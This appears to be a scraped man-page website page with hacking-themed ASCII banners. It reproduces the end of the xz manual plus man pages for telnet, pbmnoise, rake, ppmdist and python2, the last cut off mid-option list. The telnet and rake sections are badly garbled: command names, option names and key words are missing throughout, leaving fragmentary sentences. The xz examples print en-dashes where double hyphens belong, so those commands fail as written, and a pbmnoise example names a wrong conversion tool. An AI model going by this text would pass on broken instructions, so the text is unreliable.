If you know that a file requires somewhat big dictionary (for example, 32 MiB) to compress well, but you want to compress it quicker than xz -8 would do, a preset with a low CompCPU value (for example, 1) can be modified to use a bigger dictionary:

xz –lzma2=preset=1,dict=32MiB foo.tar

With certain files, the above command may be faster than xz -6 while compressing significantly better. However, it must be emphasized that only some files benefit from a big dictionary while keeping the CompCPU value low. The most obvious situation, where a big dictionary can help a lot, is an archive containing very similar files of at least a few megabytes each. The dictionary size has to be significantly bigger than any individual file to allow LZMA2 to take full advantage of the similarities between consecutive files.

If very high compressor and decompressor memory usage is fine, and the file being compressed is at least several hundred megabytes, it may be useful to use an even bigger dictionary than the 64 MiB that xz -9 would use:

xz -vv –lzma2=dict=192MiB big_foo.tar

Using -vv (–verbose –verbose) like in the above example can be useful to see the memory requirements of the compressor and decompressor. Remember that using a dictionary bigger than the size of the uncompressed file is waste of memory, so the above command isn’t useful for small files.

Sometimes the compression time doesn’t matter, but the decompressor memory usage has to be kept low, for example, to make it possible to decompress the file on an embedded system. The following command uses -6e (-6 –extreme) as a base and sets the dictionary to only 64 KiB. The resulting file can be decompressed with XZ Embedded (that’s why there is –check=crc32) using about 100 KiB of memory.

xz –check=crc32 –lzma2=preset=6e,dict=64KiB foo

If you want to squeeze out as many bytes as possible, adjusting the number of literal context bits (lc) and number of position bits (pb) can sometimes help. Adjusting the number of literal position bits (lp) might help too, but usually lc and pb are more important. For example, a source code archive contains mostly US-ASCII text, so something like the following might give slightly (like 0.1 %) smaller file than xz -6e (try also without lc=4):

xz –lzma2=preset=6e,pb=0,lc=4 source_code.tar

Using another filter together with LZMA2 can improve compression with certain file types. For example, to compress a x86-32 or x86-64 shared library using the x86 BCJ filter:

xz –x86 –lzma2 libfoo.so

Note that the order of the filter options is significant. If –x86 is specified after –lzma2, xz will give an error, because there cannot be any filter after LZMA2, and also because the x86 BCJ filter cannot be used as the last filter in the chain.

The Delta filter together with LZMA2 can give good results with bitmap images. It should usually beat PNG, which has a few more advanced filters than simple delta but uses Deflate for the actual compression.

The image has to be saved in uncompressed format, for example, as uncompressed TIFF. The distance parameter of the Delta filter is set to match the number of bytes per pixel in the image. For example, 24-bit RGB bitmap needs dist=3, and it is also good to pass pb=0 to LZMA2 to accommodate the three-byte alignment:

xz –delta=dist=3 –lzma2=pb=0 foo.tiff

If multiple images have been put into a single archive (for example, .tar), the Delta filter will work on that too as long as all images have the same number of bytes per pixel.

SEE ALSO

xzdec(1), xzdiff(1), xzgrep(1), xzless(1), xzmore(1), gzip(1), bzip2(1), 7z(1)

XZ Utils: <https://tukaani.org/xz/>
XZ Embedded: <https://tukaani.org/xz/embedded.html>
LZMA SDK: <https://7-zip.org/sdk.html>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1731 - Linux cli command telnet

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command telnet and provides detailed information about the command telnet, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the telnet.

protocol

The

command is used to communicate with another host using the

protocol. If

is invoked without the

argument, it enters command mode, indicated by its prompt

In this mode, it accepts and executes the commands listed below. If it is invoked with arguments, it performs an

command with those arguments.

Use IPv4 to connect to hosts.

Use IPv6 to connect to hosts.

Specifies an 8-bit data path. This causes an attempt to negotiate the

option on both input and output.

Specifies an 8-bit data path on output. This causes the BINARY option to be negotiated on output.

Sets the initial

escape character to

If

is omitted, then there will be no escape character.

Stops any character from being recognized as an escape character.

Attempt automatic login. Currently, this sends the user name via the

variable of the

option if supported by the remote system. The name used is that of the current user as returned by

if it agrees with the current user ID, otherwise it is the name associated with the user ID.

Specifies no automatic login to the remote system.

When connecting to the remote system, if the remote system understands the

option, then

will be sent to the remote system as the value for the variable USER. This option implies the

option. This option may also be used with the

command.

Opens

for recording trace information. See the

command below.

Specifies a user interface similar to

In this mode, the escape character is set to the tilde (~) character, unless modified by the -e option.

Disables the reading of the user’s

file. (See the

command on this man page.)

Sets the initial value of the

toggle to

Turns on encryption of the data stream if possible.

Disables the

type of authentication.

If Kerberos authentication is being used, the

option requests that telnet obtain tickets for the remote host in realm realm instead of the remote host’s realm, as determined by

Indicates the official name, an alias, or the Internet address of a remote host.

Indicates a port number (address of an application). If a number is not specified, the default

port is used.

When in rlogin mode, a line of the form ~. disconnects from the remote host; ~ is the telnet escape character. Similarly, the line ~^Z suspends the telnet session. The line ~^] escapes to the normal telnet escape prompt.

Once a connection has been opened,

will attempt to enable the

option. If this fails, then

will revert to one of two input modes: either character at a time or old line by line depending on what the remote system supports.

When

is enabled, character processing is done on the local system, under the control of the remote system. When input editing or character echoing is to be disabled, the remote system will relay that information. The remote system will also relay changes to any special characters that happen on the remote system, so that they can take effect on the local system.

In character at a time mode, most text typed is immediately sent to the remote host for processing.

In old line by line mode, all text is echoed locally, and (normally) only completed lines are sent to the remote host. The local echo character (initially ^E) may be used to turn off and on the local echo (this would mostly be used to enter passwords without the password being echoed).

If the

option is enabled, or if the

toggle is

(the default for old line by line; see below), the user’s

and

characters are trapped locally, and sent as

protocol sequences to the remote side. If

has ever been enabled, then the user’s

and

are also sent as

protocol sequences, and

is sent as a

instead of

There are options (see

and

below) which cause this action to flush subsequent output to the terminal (until the remote host acknowledges the

sequence) and flush previous terminal input (in the case of

and

While connected to a remote host,

command mode may be entered by typing the

escape character (initially ^]). When in command mode, the normal terminal editing conventions are available.

The following

commands are available. Only enough of each command to uniquely identify it need be typed (this is also true for arguments to the

and

commands).

The auth command manipulates the information sent through the

option. Valid arguments for the auth command are as follows:

Disables the specified type of authentication. To obtain a list of available types, use the

command.

Enables the specified type of authentication. To obtain a list of available types, use the

command.

Lists the current status of the various types of authentication.

Close a

session and return to command mode.

Displays all, or some, of the

and

values (see below).

The encrypt command manipulates the information sent through the

option.

Note: Because of export controls, the

option is not supported outside of the United States and Canada.

Valid arguments for the encrypt command are as follows:

Disables the specified type of encryption. If you omit the input and output, both input and output are disabled. To obtain a list of available types, use the

command.

Enables the specified type of encryption. If you omit input and output, both input and output are enabled. To obtain a list of available types, use the

command.

This is the same as the

command.

This is the same as the

command.

This is the same as the

command.

This is the same as the

command.

Attempts to start encryption. If you omit

and

both input and output are enabled. To obtain a list of available types, use the

command.

Lists the current status of encryption.

Stops encryption. If you omit input and output, encryption is on both input and output.

Sets the default type of encryption to be used with later

or

commands.

The

command is used to manipulate the the variables that my be sent through the

option. The initial set of variables is taken from the users environment, with only the

and

variables being exported by default. The

variable is also exported if the

or

options are used.
Valid arguments for the

command are:

Define the variable

to have a value of

Any variables defined by this command are automatically exported. The

may be enclosed in single or double quotes so that tabs and spaces may be included.

Remove

from the list of environment variables.

Mark the variable

to be exported to the remote side.

Mark the variable

to not be exported unless explicitly asked for by the remote side.

List the current set of environment variables. Those marked with a

will be sent automatically, other variables will only be sent if explicitly requested.

Prints out help information for the

command.

Sends the

option to the remote side. This command is similar to a

command; however, if the remote side does not support the

option, nothing happens. If, however, the remote side does support the

option, this command should cause the remote side to close the

connection. If the remote side also supports the concept of suspending a user’s session for later reattachment, the logout argument indicates that you should terminate the session immediately.

is one of several options, depending on the state of the

session. The remote host is asked for permission to go into the requested mode. If the remote host is capable of entering that mode, the requested mode will be entered.

Disable the

option, or, if the remote side does not understand the

option, then enter character at a time mode.

Enable the

option, or, if the remote side does not understand the

option, then attempt to enter old-line-by-line mode.

Attempt to enable (disable) the

mode of the

option. This requires that the

option be enabled.

Attempt to enable (disable) the

mode of the

option. This requires that the

option be enabled.

Attempt to enable (disable) the

mode of the

option. This requires that the

option be enabled.

Attempt to enable (disable) the

mode of the

option. This requires that the

option be enabled.

Prints out help information for the

command.

Open a connection to the named host. If no port number is specified,

will attempt to contact a

server at the default port. The host specification may be either a host name (see

or an Internet address specified in the dot notation (see

The

option may be used to specify the user name to be passed to the remote system via the

option. When connecting to a non-standard port,

omits any automatic initiation of

options. When the port number is preceded by a minus sign, the initial option negotiation is done. After establishing a connection, the file

in the users home directory is opened. Lines beginning with a # are comment lines. Blank lines are ignored. Lines that begin without white space are the start of a machine entry. The first thing on the line is the name of the machine that is being connected to. The rest of the line, and successive lines that begin with white space are assumed to be

commands and are processed as if they had been typed in manually to the

command prompt.

Close any open

session and exit

An end of file (in command mode) will also close a session and exit.

Sends one or more special character sequences to the remote host. The following are the arguments which may be specified (more than one argument may be specified at a time):

Sends the

(Abort processes) sequence.

Sends the

(Abort Output) sequence, which should cause the remote system to flush all output

the remote system

the user’s terminal.

Sends the

(Are You There) sequence, to which the remote system may or may not choose to respond.

Sends the

(Break) sequence, which may have significance to the remote system.

Sends the

(Erase Character) sequence, which should cause the remote system to erase the last character entered.

Sends the

(Erase Line) sequence, which should cause the remote system to erase the line currently being entered.

Sends the

(End Of File) sequence.

Sends the

(End of Record) sequence.

Sends the current

escape character (initially ^).

Sends the

(Go Ahead) sequence, which likely has no significance to the remote system.

If the remote side supports the

command,

will send the subnegotiation to request that the server send its current option status.

Sends the

(Interrupt Process) sequence, which should cause the remote system to abort the currently running process.

Sends the

(No OPeration) sequence.

Sends the

(SUSPend process) sequence.

Sends the

sequence. This sequence causes the remote system to discard all previously typed (but not yet read) input. This sequence is sent as

urgent data (and may not work if the remote system is a

system – if it doesn’t work, a lower case r may be echoed on the terminal).

Sends the

sequence.

can be either a decimal number between 0 and 255, or a symbolic name for a specific

command.

can also be either

or

to print out help information, including a list of known symbolic names.

Prints out help information for the

command.

The

command will set any one of a number of

variables to a specific value or to

The special value

turns off the function associated with the variable, this is equivalent to using the

command. The

command will disable or set to

any of the specified functions. The values of variables may be interrogated with the

command. The variables which may be set or unset, but not toggled, are listed here. In addition, any of the variables for the

command may be explicitly set or unset using the

and

commands.

If

is in localchars mode, or

is enabled, and the status character is typed, a

sequence (see

preceding) is sent to the remote host. The initial value for the “Are You There” character is the terminal’s status character.

This is the value (initially ^E) which, when in line by line mode, toggles between doing local echoing of entered characters (for normal processing), and suppressing echoing of entered characters (for entering, say, a password).

If

is operating in

or old line by line mode, entering this character as the first character on a line will cause this character to be sent to the remote system. The initial value of the eof character is taken to be the terminal’s

character.

If

is in

mode (see

below),

if

is operating in character at a time mode, then when this character is typed, a

sequence (see

above) is sent to the remote system. The initial value for the erase character is taken to be the terminal’s

character.

This is the

escape character (initially ^[) which causes entry into

command mode (when connected to a remote system).

If

is in

mode (see

below) and the

character is typed, a

sequence (see

above) is sent to the remote host. The initial value for the flush character is taken to be the terminal’s

character.

If

is operating in

these are the characters that, when typed, cause partial lines to be forwarded to the remote system. The initial value for the forwarding characters are taken from the terminal’s eol and eol2 characters.

If

is in

mode (see

below) and the

character is typed, a

sequence (see

above) is sent to the remote host. The initial value for the interrupt character is taken to be the terminal’s

character.

If

is in

mode (see

below),

if

is operating in character at a time mode, then when this character is typed, a

sequence (see

above) is sent to the remote system. The initial value for the kill character is taken to be the terminal’s

character.

If

is operating in

or old line by line mode, then this character is taken to be the terminal’s

character. The initial value for the lnext character is taken to be the terminal’s

character.

If

is in

mode (see

below) and the

character is typed, a

sequence (see

above) is sent to the remote host. The initial value for the quit character is taken to be the terminal’s

character.

If

is operating in

or old line by line mode, then this character is taken to be the terminal’s

character. The initial value for the reprint character is taken to be the terminal’s

character.

This is the rlogin escape character. If set, the normal

escape character is ignored unless it is preceded by this character at the beginning of a line. This character, at the beginning of a line followed by a “.” closes the connection; when followed by a ^Z it suspends the telnet command. The initial state is to disable the rlogin escape character.

If the

option has been enabled, then this character is taken to be the terminal’s

character. The initial value for the kill character is taken to be the terminal’s

character.

If the

option has been enabled, then this character is taken to be the terminal’s

character. The initial value for the kill character is taken to be the terminal’s

character.

If

is in

mode, or

is enabled, and the

character is typed, a

sequence (see

above) is sent to the remote host. The initial value for the suspend character is taken to be the terminal’s

character.

This is the file to which the output, caused by

or

tracing being

will be written. If it is set to

then tracing information will be written to standard output (the default).

If

is operating in

or old line by line mode, then this character is taken to be the terminal’s

character. The initial value for the worderase character is taken to be the terminal’s

character.

Displays the legal

commands.

The

command (Set Local Characters) is used to set or change the state of the the special characters when the

option has been enabled. Special characters are characters that get mapped to

commands sequences (like

or

or line editing characters (like

and

By default, the local special characters are exported.

Verify the current settings for the current special characters. The remote side is requested to send all the current special character settings, and if there are any discrepancies with the local side, the local side will switch to the remote value.

Switch to the local defaults for the special characters. The local default characters are those of the local terminal at the time when

was started.

Switch to the remote defaults for the special characters. The remote default characters are those of the remote system at the time when the

connection was established.

Prints out help information for the

command.

Show the current status of

This includes the peer one is connected to, as well as the current mode.

Toggle (between

and

various flags that control how

responds to events. These flags may be set explicitly to

or

using the

and

commands listed above. More than one argument may be specified. The state of these flags may be interrogated with the

command. Valid arguments are:

Turns on debugging information for the authentication code.

If

and

are both

then when the

or

characters are recognized (and transformed into

sequences; see

above for details),

refuses to display any data on the user’s terminal until the remote system acknowledges (via a

option) that it has processed those

sequences. The initial value for this toggle is

if the terminal user had not done an “stty noflsh”, otherwise

(see

When the

option is negotiated, by default the actual encryption (decryption) of the data stream does not start automatically. The autoencrypt (autodecrypt) command states that encryption of the output (input) stream should be enabled as soon as possible.

Note: Because of export controls, the

option is not supported outside the United States and Canada.

If the remote side supports the

option

attempts to use it to perform automatic authentication. If the

option is not supported, the user’s login name are propagated through the

option. This command is the same as specifying

option on the

command.

If

and

are both

then when either the

or

characters is typed (see

above for descriptions of the

and

characters), the resulting

sequence sent is followed by the

sequence. This procedure

cause the remote system to begin throwing away all previously typed input until both of the

sequences have been read and acted upon. The initial value of this toggle is

Enable or disable the

option on both input and output.

Enable or disable the

option on input.

Enable or disable the

option on output.

If this is

then carriage returns will be sent as

If this is

then carriage returns will be send as

The initial value for this toggle is

Toggle carriage return mode. When this mode is enabled, most carriage return characters received from the remote host will be mapped into a carriage return followed by a line feed. This mode does not affect those characters typed by the user, only those received from the remote host. This mode is not very useful unless the remote host only sends carriage return, but never line feed. The initial value for this toggle is

Toggles socket level debugging (useful only to the

The initial value for this toggle is

Turns on debugging information for the encryption code.

If this is

then the

and

characters (see

above) are recognized locally, and transformed into (hopefully) appropriate

control sequences (respectively

and

see

above). The initial value for this toggle is

in old line by line mode, and

in character at a time mode. When the

option is enabled, the value of

is ignored, and assumed to always be

If

has ever been enabled, then

is sent as

and

are sent as

see

above).

Toggles the display of all network data (in hexadecimal format). The initial value for this toggle is

Toggles the display of some internal

protocol processing (having to do with

options). The initial value for this toggle is

When the

toggle is enabled, if

is enabled the output from the

command will be formatted in a more user readable format. Spaces are put between each character in the output, and the beginning of any

escape sequence is preceded by a ‘*’ to aid in locating them.

When the skiprc toggle is

skips the reading of the

file in the users home directory when connections are opened. The initial value for this toggle is

Toggles the display of all terminal data (in hexadecimal format). The initial value for this toggle is

When the

toggle is

prints out a message each time encryption is enabled or disabled. The initial value for this toggle is

Note: Because of export controls, data encryption is not supported outside of the United States and Canada.

Displays the legal

commands.

Suspend

This command only works when the user is using the

Execute a single command in a subshell on the local system. If

is omitted, then an interactive subshell is invoked.

Get help. With no arguments,

prints a help summary. If a command is specified,

will print the help information for just that command.

uses at least the

and

environment variables. Other environment variables may be propagated to the other side via the

option.

user customized telnet startup values

The

command appeared in

On some remote systems, echo has to be turned off manually when in old line by line mode.

In old line by line mode or

the terminal’s

character is only recognized (and sent to the remote system) when it is the first character on a line.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1732 - Linux cli command pbmnoise

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmnoise and provides detailed information about the command pbmnoise, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmnoise.

.

NAME 🖥️ pbmnoise 🖥️

create a PBM image made up of white noise

SYNOPSIS

pbmnoise width height

[-ratio=M/N] [-pack] [-randomseed=integer] [-endian=]{big|little|native|swap}]

Minimum unique abbreviations of option are acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pbmnoise creates a PBM image with random pixels. You specify the probability each pixel will be black or white (essentially, the proportion of black to white pixels in the image).

You specify the dimensions of the image with the width and height arguments.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pbmnoise recognizes the following command line options:

**-ratio=M/**N
The proportion of black pixels in the generated image.

To be precise, this is the probability that any given pixel will be black. By the law of large numbers, we can expect the proportion of black pixels in a reasonably large image to be close to this fraction.

The option value is a fraction. The denominator must be 1 or an integer power of 2 up to 65536. the numerator must be 0 or a positive integer not exceeding denominator.

The default is 1/2, meaning the output image has essentially the same number of black and white pixels.

If the ratio is 0 the output image is entirely white. If 1, the output is entirely black.

-pack
The program generates pixels in 32-bit units discarding any fractional pixels at row ends by default. When this option is specified, the unused pixels are carried over to the next row, eliminating waste in exchange for some overhead cost.

Using this option improves performance when the image width is small.

**-randomseed=**integer
This is the seed for the random number generator that generates the pixels.

Use this to ensure you get the same image on separate invocations.

By default, pbmnoise uses a seed derived from the time of day and process ID, which gives you fairly uncorrelated results in multiple invocations.

**-endian=**mode
pbmnoise internally generates random 32-bit integers and uses the machine’s binary encoding of those integers as strings of pixels. Because the integers are random, it doesn’t normally matter what binaary encoding is used for them, but if you need consistent results between machines using the same random number generator, it matters. For that reason (mainly for testing the program), this option lets you control that encoding, between big-endian and little-endian.

mode is one of the following:

big
Force big-endian output by rearranging bytes on little-endian machines. No effect on big-endian machines.

little
Likewise, force little-endian output.

native
Do not rearrange anything. This is the default.

swap
Always swap regardless of system endianness.

EXAMPLES

This generates a random PBM image with roughly one-third of pixels colored black:

  pbmnoise -ratio=11/32 1200 1200 > random.pbm

The following is an alternate method for generating a random PBM image which uses pgmnoise and pgmtopbm instead of pbmnoise. It is less efficient.

  pgmnoise -maxval=100 1200 1200 | \
    pgmtopbm -threshold -value=0.333 > random.pbm

This generates a random PPM image, maxval 1:

  pbmnoise 600 400 > red.pbm
  pbmnoise 600 400 > green.pbm
  pbmnoise 600 400 > blue.pbm
  rgb3topbm red.pbm green.pbm blue.pbm > random.ppm

SEE ALSO

pbm(1) pgmnoise(1) pgmtopbm(1)

HISTORY

pbmnoise was new in Netpbm 10.97 (December 2021).

In Netpbm before that, you can use pgmnoise.

AUTHOR

Akira F Urushibata wrote this program and contributed it to the public domain in December 2021.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmnoise.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1733 - Linux cli command rake

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rake and provides detailed information about the command rake, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rake.

is a

build utility for Ruby. Tasks and dependencies are specified in standard Ruby syntax.

Treat all tasks as multitasks.

Build all prerequisites, including those which are up-to-date.

Specifies the maximum number of tasks to execute in parallel (default is number of CPU cores + 4).

Include

in the search path for required modules.

Require

before executing

Use

as the rakefile to search for.

Do not search parent directories for the Rakefile.

Use standard project Rakefile search paths, ignore system wide rakefiles.

Auto-import any .rake files in

(default is

Use system-wide (global) rakefiles (usually

Enable full backtrace.

can be

(default) or

Turn on invoke/execute tracing, enable full backtrace.

can be

(default) or

Suppress backtrace lines matching regexp

Ignored if

is on.

Trace the rules resolution.

Do a dry run without executing actions.

Display the tasks (matching optional

with descriptions, then exit.

Describe the tasks (matching optional

then exit.

Describe the tasks (matching optional

then exit.

Display the tasks and dependencies, then exit.

Execute some Ruby code and exit.

Execute some Ruby code, print the result, then exit.

Execute some Ruby code, then continue with normal task processing.

Log message to standard output.

Do not log messages to standard output.

Like

but also suppresses the

announcement.

Disable the deprecation warnings.

Show commented tasks only

Show all tasks, even uncommented ones (in combination with

or

Display job statistics. If

is

displays a complete job list.

Display the program version.

Display a help message.

The complete documentation for

has been installed at

It is also available online at

was written by

This manual was created by

for the Debian project (but may be used by others). It was inspired by the manual by

for the Ubuntu project.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1734 - Linux cli command ppmdist

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmdist and provides detailed information about the command ppmdist, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmdist.

.

NAME 🖥️ ppmdist 🖥️

simplistic grayscale assignment for machine generated, color images

SYNOPSIS

ppmdist

[-intensity|-frequency]

[ppmfile]

DESCRIPTION

This program is part of Netpbm(1) .

ppmdist reads a PPM image as input and performs a simplistic grayscale assignment intended for use with grayscale or bitmap printers.

Often conversion from ppm to pgm will yield an image with contrast too low for good printer output. The program maximizes contrast between the gray levels output.

A ppm input of n colors is read, and a pgm of n gray levels is written. The gray levels take on the values 0..n-1, while maxval takes on n-1.

The mapping from color to stepped grayscale can be performed in order of input pixel intensity, or input pixel frequency (number of repetitions).

This program is helpful only for images with a very small number of colors.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ppmdist recognizes the following command line options:

-frequency
Sort input colors by the number of times a color appears in the input, before mapping to evenly distributed graylevels of output.

-intensity
Sort input colors by their grayscale intensity, before mapping to evenly distributed graylevels of output. This is the default.

SEE ALSO

ppmtopgm(1) , ppmhist(1) , ppm(1)

AUTHOR

Copyright (C) 1993 by Dan Stromberg.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmdist.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1735 - Linux cli command python2

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command python2 and provides detailed information about the command python2, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the python2.

NAME 🖥️ python2 🖥️

an interpreted, interactive, object-oriented programming language

SYNOPSIS

python [ -B ] [ -d ] [ -E ] [ -h ] [ -i ] [ -m module-name ]
[ -O ] [ -OO ] [ -R ] [ -Q argument ] [ -s ] [ -S ] [ -t ] [ -u ]
[ -v ] [ -V ] [ -W argument ] [ -x ] [ -3 ] [ -? ]
[ -c command | script | - ] [ arguments ]

DESCRIPTION

Python is an interpreted, interactive, object-oriented programming language that combines remarkable power with very clear syntax. For an introduction to programming in Python, see the Python Tutorial. The Python Library Reference documents built-in and standard types, constants, functions and modules. Finally, the Python Reference Manual describes the syntax and semantics of the core language in (perhaps too) much detail. (These documents may be located via the INTERNET RESOURCES below; they may be installed on your system as well.)

Python’s basic power can be extended with your own modules written in C or C++. On most systems such modules may be dynamically loaded. Python is also adaptable as an extension language for existing applications. See the internal documentation for hints.

Documentation for installed Python modules and packages can be viewed by running the pydoc program.

COMMAND LINE OPTIONS

-B
Don’t write .py[co] files on import. See also PYTHONDONTWRITEBYTECODE.

**-c **command
Specify the command to execute (see next section). This terminates the option list (following options are passed as arguments to the command).

-d
Turn on parser debugging output (for wizards only, depending on compilation options).

-E
Ignore environment variables like PYTHONPATH and PYTHONHOME that modify the behavior of the interpreter.

-h , -? , –help
Prints the usage for the interpreter executable and exits.

-i
When a script is passed as first argument or the -c option is used, enter interactive mode after executing the script or the command. It does not read the $PYTHONSTARTUP file. This can be useful to inspect global variables or a stack trace when a script raises an exception.

**-m **module-name
Searches sys.path for the named module and runs the corresponding .py file as a script.

-O
Turn on basic optimizations. This changes the filename extension for compiled (bytecode) files from .pyc to .pyo. Given twice, causes docstrings to be discarded.

-OO
Discard docstrings in addition to the -O optimizations.

-R
Turn on “hash randomization”, so that the hash() values of str, bytes and datetime objects are “salted” with an unpredictable pseudo-random value. Although they remain constant within an individual Python process, they are not predictable between repeated invocations of Python.

This is intended to provide protection against a denial of service caused by carefully-chosen inputs that exploit the worst case performance of a dict construction, O(n^2) complexity. See http://www.ocert.org/advisories/ocert-2011-003.html for details.

**-Q **argument
Division control; see PEP 238. The argument must be one of “old” (the default, int/int and long/long return an int or long), “new” (new division semantics, i.e. int/int and long/long returns a float), “warn” (old division semantics with a warning for int/int and long/long), or “warnall” (old division semantics with a warning for all use of the division operator). For a use of “warnall”, see the Tools/scripts/fixdiv.py script.

-s
Don’t add user site directory to sys.path.

-S
Disable the import of the module site and the site-dependent manipulations of sys.path that it entails.

-t
Issue a warning when a source file mixes tabs and spaces for indentation in a way that makes it depend on the worth of a tab expressed in spaces. Issue an error when the option is given twice.

-u
Force stdin, stdout and stderr to be totally unbuffered. On systems where it matters, also put stdin, stdout and stderr in binary mode. Note that there is internal buffering in xreadlines(), readlines() and file-object iterators (“for line in sys.stdin”) which is not influenced by this option. To work around this, you will want to use “sys.stdin.readline()” inside a “while 1:” loop.

-v
